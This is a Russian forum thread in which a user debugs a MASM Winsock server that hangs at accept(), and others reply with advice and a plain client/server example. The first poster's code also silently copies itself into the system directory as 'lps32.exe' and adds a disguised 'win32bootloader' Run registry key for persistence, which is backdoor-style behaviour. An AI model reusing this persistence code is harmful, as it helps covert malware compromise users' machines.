[masm] создание сервера winsock

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by realcoder, 31 Jul 2011.

  1. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    такая проблема: создаю сервер на asm-е, и он остается на стадии accept(), даже когда поступает запрос на подключение. вот код:
    Code:
            .386
            .model flat,stdcall
      option   casemap:none
                            include C:\masm32\INCLUDE\WINDOWS.INC
                            include C:\masm32\INCLUDE\KERNEL32.INC 
                            include C:\masm32\INCLUDE\USER32.INC
                            include C:\masm32\INCLUDE\ADVAPI32.INC 
    						include C:\masm32\INCLUDE\ws2_32.inc
                                                                         
                            includelib C:\masm32\lib\user32.lib
                            includelib C:\masm32\lib\gdi32.lib
                            includelib C:\masm32\lib\kernel32.lib                
                            includelib C:\masm32\lib\user32.lib
                            includelib C:\masm32\lib\advapi32.lib                 
    						includelib C:\masm32\LIB\ws2_32.lib
    ;###########################################################
    ;data--data--data--data--data--data--data--data--data--data--     PROC
    ;------------------------------------------------------------
    .DATA
    
    dest_name db '\lps32.exe',0
    dest db 256 dup (0)
    source  db  256 dup (0)
    comand_shabl db 'REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d %s -f',0
    comand db 256 dup (0)
    wsadata WSADATA <0>
    ssock DWORD 0
    saddrs sockaddr_in <0>
    csock DWORD 0
    recv_buf db 1024 dup (0)
    ;returned DWORD 0
    ;##############################################################
    ;code--code--code--code--code--code--code--code--code--code-- PROC
    ;---------------------------------------------------------------------------------------------------
    .CODE
    START:  
    ;----------установка в систему
    invoke GetModuleFileName , 0  ,  offset  source , 256
    invoke GetSystemDirectory,offset dest,MAX_PATH
    invoke lstrcat,offset dest,offset dest_name
    invoke CopyFile,offset source, offset dest,1
    invoke wsprintf,offset comand,offset comand_shabl,offset dest
    invoke WinExec,offset comand,0
    ;------сеть
    invoke WSAStartup, 202h,offset wsadata;стартуем винсок
    cmp eax,-1;если ошиблись
    je EXIT;выходим
    invoke socket, AF_INET, SOCK_STREAM, 0 ;создаем соект
    cmp eax,-1 ;если ошиблись
    je EXIT ; выходим
    mov ssock,eax; если еще не вышли, т.е. не было ошибок - запоминаем сокет
    ;-------заполняем адресную структуру
    mov saddrs.sin_family,AF_INET ; работать будем с интернетом
    invoke htons,80 ;80 порт. располгаем айты в сетевом порядке
    mov saddrs.sin_port,ax ;переносим результат в порт адресной структуры
    invoke bind,ssock,offset saddrs,SIZEOF sockaddr_in ;связываем сокет с локальным адресом
    cmp eax,-1;если ошиблись
    je EXIT; выходим
    invoke listen,ssock,10;слушаем сокет
    cmp eax,-1; опять: если ошиблись...
    je EXIT;..выходим
    invoke accept,ssock, 0, 0; принимаем соединение
    cmp eax,-1; ели ошибка
    je EXIT; выход
    mov csock,eax; если не вышли, те. не было ошибки - запоминаем сокет
    invoke recv,csock,offset recv_buf,1024,0; получаем 1024 байта
    invoke MessageBox,0,offset recv_buf,0,MB_OK; показываем что получили
    invoke closesocket,csock
    invoke closesocket,ssock
    invoke WSACleanup
    EXIT:     
                 invoke               ExitProcess        ,       0
    ;++++++++++++++++++++++++++++++++++++++++++++
    END  START
    
    td32 показывает что он доходит до accept и ждет. потом я запускаю такую софтину на delphi(писал на скорую руку - сильно не пинать):
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    var str:string;
    w:wsadata;
    s:integer;
    sa:sockaddr_in;
    begin
    wsastartup($101,w);
    s:=socket(af_inet,sock_stream,0);
    sa.sin_family:=AF_INET;
    sa.sin_port:=htons(80);
    sa.sin_addr.S_addr:=inet_addr('127.0.0.1');
    connect(s,sa,sizeof(sa));
    str:='ololol'#13#10;
    send(s,str[1],length(str),0);
    CloseSocket(s);
    wsacleanup();
    end;
    
    по идее после нажатия кнопки должно высветиться ololol на мониторе, но ничего не происходит, а сервер продолжает висеть на accept-е. что здесь не так? может с портом что нибуть не так?
     
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    после запуска серверной части погляди, реально ли порт биндится
    к примеру в консоле вбей netstat -a -p TCP и там должна быть запись типа
    TCP ****:http *****:0 LISTENING

    К тому же в клиентской части проверяй что вернет connect, точно ли коннект был удачный
     
  3. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Вот смотри рабочий код клиент-сервер на masm:
    server:
    Code:
    .386
    .model Flat, StdCall
    option casemap:none
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\wsock32.lib
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    include \masm32\include\wsock32.inc
    include \masm32\include\windows.inc
    .data
    wsadata WSADATA <>
    mCaption db "Error! Suxx!", 0
    mText1 db "Error WSAStartUp", 0
    mText2 db "Error2", 0
    hSock DWORD ?
    hSock2 dd ?
    sin sockaddr_in <>
    sPort DWORD 1995
    buffer db 1024 dup (0)
    mCaption2 db "Woohoo", 0
    mText3 db "Connected!", 0
    
    .code
    Main:
    
    invoke WSAStartup, 101h, ADDR wsadata
    .if eax!=NULL
    invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
    .endif
    
    invoke socket, AF_INET, SOCK_STREAM, 0
    .if eax==INVALID_SOCKET
    invoke WSAGetLastError
    .endif
    mov hSock, eax
    
    invoke htons, sPort
    mov sin.sin_port, ax
    mov sin.sin_addr,0
    mov sin.sin_family, AF_INET
    
    invoke bind, hSock, ADDR sin, sizeof sin
    invoke listen, hSock, SOMAXCONN
    invoke accept, hSock, NULL, NULL
    mov hSock2, eax
    
    datarecv:
    invoke recv, hSock2, ADDR buffer, 1024, 0
    .if byte ptr buffer=="Q"
    invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption2, 0
    jmp Quit
    .endif
    
    jmp datarecv
    
    Quit:
    invoke WSACleanup
    invoke ExitProcess, 0
    end Main
    client:
    Code:
    .386
    .model flat, stdcall
    option casemap:none
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\wsock32.lib
    include \masm32\include\kernel32.inc
    include \masm32\include\user32.inc
    include \masm32\include\wsock32.inc
    include \masm32\include\windows.inc
    .data
    wsadata WSADATA <>
    mCaption db "Error! Suxx!", 0
    mText1 db "Error WSAStartUp", 0
    mText2 db "Error Connect", 0
    mText3 db "Error Send", 0
    hSock DWORD ?
    hSock2 dd ?
    sin sockaddr_in <>
    sPort DWORD 1995
    sIP db "127.0.0.1", 0
    buffer db "Q", 0
    
    .code
    Main:
    
    invoke WSAStartup, 101h, ADDR wsadata
    .if eax!=NULL
    invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
    jmp Quit
    .endif
    
    invoke socket, AF_INET, SOCK_STREAM, 0
    .if eax==INVALID_SOCKET
    invoke WSAGetLastError
    jmp Quit
    .endif
    mov hSock, eax
    
    invoke htons, sPort
    mov sin.sin_port, ax
    invoke inet_addr, ADDR sIP
    mov sin.sin_addr, eax
    mov sin.sin_family, AF_INET
    mov sin.sin_zero,8
    
    invoke connect, hSock, ADDR sin, sizeof sin
    .if eax==SOCKET_ERROR
    invoke MessageBoxA, 0, ADDR mText2, ADDR mCaption, 0
    jmp Quit
    .endif
    mov hSock2, eax
    
    invoke send, hSock, ADDR buffer, sizeof buffer,MSG_DONTROUTE
    .if eax==SOCKET_ERROR
    invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption, 0
    jmp Quit
    .endif
    
    
    Quit:
    invoke closesocket, hSock
    invoke WSACleanup
    invoke ExitProcess, 0
    end Main
    Может чем нибудь поможет)
     
  4. realcoder

    realcoder Member

    Joined:
    9 Dec 2010
    Messages:
    226
    Likes Received:
    11
    Reputations:
    4
    проблема решена. она заключялась в том, что какаято хрень по мимо моей программы так же слушала 80 порт и клиент коннектился к ней и естественно она не как не реагировала на команду "ololol\r\n". когда изменил на 8080 - все стало ок.
     
    1 person likes this.